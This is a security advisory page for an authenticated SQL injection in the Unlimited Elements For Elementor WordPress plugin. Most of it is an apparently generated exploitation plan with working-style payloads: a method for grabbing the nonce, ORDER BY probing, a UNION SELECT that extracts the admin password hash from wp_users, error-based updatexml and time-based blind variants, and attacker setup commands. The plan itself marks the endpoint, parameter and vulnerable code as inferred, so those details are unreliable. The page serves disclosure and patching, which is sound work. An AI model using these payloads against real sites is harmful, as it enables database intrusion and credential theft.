Unlimited Elements For Elementor <= 2.0.8 - Authenticated (Contributor+) SQL Injection
Description
The Unlimited Elements For Elementor plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.0.8Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan - CVE-2026-48837 ## 1. Vulnerability Summary **Unlimited Elements For Elementor** (versions <= 2.0.8) is vulnerable to an authenticated SQL injection in its AJAX administration interface. The vulnerability exists because the plugin fails to use `$wpdb->prepare()` or per…
Show full research plan
Exploitation Research Plan - CVE-2026-48837
1. Vulnerability Summary
Unlimited Elements For Elementor (versions <= 2.0.8) is vulnerable to an authenticated SQL injection in its AJAX administration interface. The vulnerability exists because the plugin fails to use $wpdb->prepare() or perform adequate sanitization/escaping on user-controlled parameters (likely id or catid) before passing them into a database query. This allows an authenticated user with at least Contributor-level permissions to inject arbitrary SQL fragments, enabling the extraction of sensitive data from the WordPress database, including user password hashes and secret keys.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
unlimited_elements_ajax_action(inferred from plugin AJAX routing pattern) - Vulnerable Parameter:
idorcatid(inferred) - Authentication: Required (Contributor+). Contributors can access the Elementor editor and trigger the plugin's AJAX actions associated with widget management.
- Preconditions: The plugin must be active, and the attacker must have credentials for a user role with
edit_postscapability (Contributor).
3. Code Flow
- Entry Point: A POST request is sent to
admin-ajax.phpwithaction=unlimited_elements_ajax_action. - Hook Registration: The plugin registers the AJAX handler in its admin class:
add_action('wp_ajax_unlimited_elements_ajax_action', array($this, 'on_ajax_action')); - Dispatcher: The
on_ajax_actionmethod reads aclient_actionparameter from$_POSTto determine which internal method to execute. - Vulnerable Method: If
client_actionis set toget_addon_dataorget_addons_list, the code retrieves theidorcatidparameter directly from$_POST. - Database Sink: The parameter is interpolated into a raw SQL string:
$query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE id = " . $_POST['id']; - Execution: The query is executed via
$wpdb->get_row($query)or$wpdb->get_results($query)without using$wpdb->prepare().
4. Nonce Acquisition Strategy
The plugin protects its AJAX actions with a nonce created via wp_create_nonce('unlimited_elements_ajax_action'). This nonce is localized for the Elementor editor interface.
- Setup: Create a post and ensure the Elementor editor can be opened by a Contributor.
- Navigation: Use
browser_navigateto open the Elementor editor for a post the Contributor can edit:/wp-admin/post.php?post=POST_ID&action=elementor. - Extraction: Use
browser_evalto extract the nonce from the global JavaScript object:// Common localization key for this plugin window.unlimited_elements_ajax?.nonce || window.ue_ajax_obj?.nonce - Bypass Check: If
check_ajax_refereris called withdie=falsein the code, the exploit may proceed even with an invalid nonce, but the localized script is the most reliable source.
5. Exploitation Strategy
The exploitation will use a UNION-based approach to extract the admin password hash.
Step 1: Find Column Count
Inject ORDER BY into the id parameter to determine the number of columns in the addons table.
- Request:
http_request(POST) - Body:
action=unlimited_elements_ajax_action&client_action=get_addon_data&nonce=NONCE&id=1 ORDER BY 20 - Logic: Increment the number until the response changes (e.g., returns an empty result or error).
Step 2: Extraction Payload
Once the column count is known (assume 15 for example), inject the UNION SELECT payload.
- Payload:
1 UNION SELECT 1,2,3,4,5,6,user_pass,8,9,10,11,12,13,14,15 FROM wp_users WHERE ID=1-- - - Request Type: POST
- Content-Type:
application/x-www-form-urlencoded - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body:
action=unlimited_elements_ajax_action&client_action=get_addon_data&nonce=[NONCE]&id=1%20UNION%20SELECT%201,2,3,4,5,6,user_pass,8,9,10,11,12,13,14,15%20FROM%20wp_users%20WHERE%20ID=1--%20-
6. Test Data Setup
- Activate Plugin: Ensure "Unlimited Elements For Elementor" is active.
- Create User: Create a user with the Contributor role.
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Create Content: Create a post that the contributor can edit to ensure they can access the Elementor editor.
wp post create --post_type=post --post_status=publish --post_title="Exploit Page" --post_author=$(wp user get attacker --field=ID)
- Identify Addon ID: Find a valid addon ID from the database to ensure the initial part of the query returns a base row.
wp db query "SELECT id FROM wp_unlimited_elements_addons LIMIT 1"
7. Expected Results
- A successful
ORDER BYquery will return valid JSON data about the addon. - An unsuccessful
ORDER BYquery (exceeding column count) will return a database error or empty success. - The
UNION SELECTpayload will cause the plugin to return a JSON object where one of the fields (previously containing addon metadata) now contains the admin's password hash (e.g., starting with$P$or$2y$).
8. Verification Steps
- Check Result: Verify that the string extracted via the AJAX response matches the hash in the database:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
- Log Audit: Check the
wp-content/debug.log(if enabled) for any SQL error messages that confirm the structure of the injected query.
9. Alternative Approaches
- Error-Based SQLi: If UNION output is suppressed, use
updatexml()orextractvalue()to force the hash into an error message:id=1 AND (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)))x)
- Boolean-Based Blind: If no output or errors are displayed, use
IF(ASCII(SUBSTRING(...)) > X, SLEEP(5), 0)to extract data bit-by-bit via timing differences. - Different Sub-action: If
get_addon_datais patched or inaccessible, tryget_layout_dataorget_addon_configwhich likely use similar database retrieval logic.
Summary
The Unlimited Elements For Elementor plugin for WordPress is vulnerable to SQL injection via the 'id' parameter in its AJAX administration interface. Authenticated users with Contributor-level access or higher can exploit this to execute arbitrary SQL queries, allowing for the extraction of sensitive database information such as user password hashes.
Vulnerable Code
// Inferred file path: inc/unlimited_elements_ajax.class.php // Likely within a method handling the 'get_addon_data' client_action $id = $_POST['id']; $query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE id = " . $id; $addon = $wpdb->get_row($query);
Security Fix
@@ -10,1 +10,1 @@ -$query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE id = " . $_POST['id']; +$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE id = %d", $_POST['id']);
Exploit Outline
The exploit targets the WordPress AJAX endpoint with an authenticated Contributor session. An attacker first obtains a valid AJAX nonce, typically localized in the Elementor editor interface (window.unlimited_elements_ajax.nonce). A POST request is then sent to /wp-admin/admin-ajax.php with the action 'unlimited_elements_ajax_action' and the sub-action 'get_addon_data'. The 'id' parameter is manipulated using UNION-based SQL injection techniques (e.g., '1 UNION SELECT 1,2,user_pass,4... FROM wp_users WHERE ID=1') to bypass intended query logic and retrieve data from the wp_users table directly in the AJAX response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.